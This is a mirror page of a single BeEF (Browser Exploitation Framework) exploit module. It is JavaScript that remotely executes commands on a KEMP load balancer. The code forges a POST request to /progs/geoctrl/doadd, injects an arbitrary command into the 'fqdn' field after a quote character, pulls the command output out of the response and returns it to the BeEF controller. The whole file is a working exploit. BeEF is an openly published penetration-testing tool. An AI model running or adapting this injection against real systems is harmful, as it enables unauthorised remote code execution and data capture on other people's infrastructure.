Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/kemp_command_execution/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var rhost = '<%= @rhost %>';
10
var rport = '<%= @rport %>';
11
var timeout = '<%= @timeout %>';
12
13
14
var path = '/progs/geoctrl/doadd';
15
var cmd = "<%= @cmd %>";
16
17
if (rhost.substring(0,5) == "https") {
18
rhost = rhost.replace("https://","")
19
protocol = "https"
20
}
21
else {
22
rhost = rhost.replace("http://","")
23
protocol = "http"
24
}
25
26
27
beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
28
resp = response.headers+response.response_body;
29
start = resp.indexOf("Content-Type: text/html");
30
end = resp.indexOf("Cache-Control: no-cache");
31
final = resp.slice(start+23,end)
32
beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
33
});
34
35
36
37
});
38
39